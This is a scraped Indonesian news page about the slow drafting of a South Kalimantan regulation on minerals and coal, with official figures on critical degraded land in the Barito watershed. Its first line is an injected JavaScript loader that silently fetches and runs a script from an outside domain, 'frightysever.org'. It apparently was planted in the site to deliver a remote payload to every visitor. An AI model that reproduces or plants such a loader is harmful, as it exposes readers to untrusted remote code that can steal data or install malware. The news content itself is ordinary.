(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perlu Payung Hukum untuk Tata Pertambangan di Kalsel


BANJARMASIN, Pertambangan di Kalsel diharapkan ke depannya akan lebih tertata untuk lebih menjaga pelestarian lingkungan. Karena diharapkan adanya payung hukum yang mengatur secara komprehensif masalah tersebut.

Hal ini diharapkan oleh Sekretaris Komisi III Bidang Pembangunan dan Infrastruktur DPRD Kalsel H Riswandi SIP.  “Sebagai payung hukum dalam upaya menata pertambangan yang lebih baik, kami tidak buru-buru membahas Raperda tentang Mineral dan Batu Bara di Kalsel,” kata Riswandi yang juga Ketua Panitia Khusus (Pansus) Raperda tersebut.

Anggota DPRD Kalsel tiga periode itu mengatakan, pembahasan Raperda tentang Mineral dan Batu Bara tersebut cukup alot, karena tidak ingin asal-asalan, sehingga hasilnya pun ketika menjadi Perda relatif memuaskan atau mudah mengaplikasikan. “Pembahasan Raperda tersebut sudah memasuki materi atau pasal per pasal. Tetapi baru mencapai sekitar 50 persen dan masih berlanjut,” lanjutnya dilansir Antaranews.com.

“Semoga pembahasan Raperda tentang Mineral dan Batu Bara yang merupakan program pembentukan  Perda Kalsel Tahun 2018 tersebut dapat kita selesaikan segera,” katanya.

Pada kesempatan terpisah, Kepala Dinas Energi dan Sumber Daya Mineral (ESDM) Kalsel Isharwanto menyatakan harapan serupa dengan wakil rakyat provinsi tersebut dan sebagaimana peraturan perundangan-undangan yang berlaku.

“Salah satu ketentuan terbaru mengenai pembatasan luasan bagi pemegang Izin Usaha Pertambangan (IUP) dan sistem lelang terhadap usaha skala besar atau mencapai ribuan hektare,” tuturnya.

Dari semua Kabupaten/kota di Kalsel  sepuluh di antaranya memiliki tambang batu bara yang cukup potensial, namun hanya satu yang tidak terdapat pertambangan batubara yaitu Kabupaten Hulu Sungai Tengah (HST).

Kecuali itu, daerah yang belum terdeteksi apakah ada atau tidak memiliki tambang batu bara yaitu Kota Banjarmasin dan Banjarbaru, serta Kabupaten Hulu Sungai Utara (HSU). Sedangkan kabupaten di Kalsel yang terdapat Pertambangan batu bara, yaitu Kabupaten Kotabaru, Tanah Bumbu (Tanbu), Tanah Laut (Tala), Banjar, Tapin, Hulu Sungai Selatan (HSS), Balangan dan Kabupaten Tabalong.

Masifnya kegiatan pertambangan, pembukaan lahan dengan pembakaran, dan perkebunan, memicu luasan lahan kritis di Daerah Aliran Sungai (DAS) Barito, termasuk di antaranya Kalimantan Selatan. Data dari  Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung Barito (BPDASHL Barito), menyebutkan besaran lahan kritis di Kalsel saat ini mencapai 640.709 hektare.

Petugas Pengendali Ekosistem Hutan di BPDASHL Barito, Rudi mengakui, salah satu faktor pemicu lahan kritis adalah pertambangan, perkebunan, dan pembakaran lahan. Namun demikian, suatu kawasan tidak bisa sembarang dikatakan sebagai lahan kritis.

Kata dia, penentuan kritis atau tidaknya suatu kawasan ditentukan dengan cara skoring dengan pertimbangan yang meliputi kondisi tanah, kelerengan dan curah hujan di kawasan tersebut yang beracuan pada peraturan yang sudah ditentukan. “Lahan yang terbuka bukan berarti lahan tersebut kritis,” katanya.

Disebutkan, untuk Kalsel lahan kritis terdapat hampir di seluruh kabupaten/kota, kecuali Banjarmasin. Dari luas luasan lahan kritis yang mencapai 640.709 ha tersebut, terbagi dalam lahan kritis seluas 508.174 ha dan lahan sangat kritis seluas 132.534,8 ha.

Lahan kritis terluas ditemukan di Kabupaten Tanah Bumbu dengan luas mencapai 119.753,2 ha (24,8%) dengan rincian luas lahan kritis 84.296,8 ha dan sangat kritis seluas 35.456,4 ha atau 24,8% dari luas total lahan kritis di Kalsel. Disusul kemudian oleh Kabupaten Banjar dengan luas mencapai 112.576,3 ha (24,5%) dengan rincian luas lahan kritis 95.977,8 ha, dan lahan sangat kritis sebesar 16.598,5 ha.

Dalam hal penanggulangan lahan kritis di Kalsel, BPDASHL Barito melakukan berbagai cara mulai kegiatan penanaman pohon seperti peringatan Hari Menanam Pohon Indonesia, Hutan Kota dan kegiatan penanaman lainnya. Hal ini bertujuan merangsang masyarakat agar memiliki kesadaran untuk menanam pohon.(cel/ant)

Reporter:cel/ant
Editor:Cell

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

3 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

3 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

5 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

7 jam ago

This website uses cookies.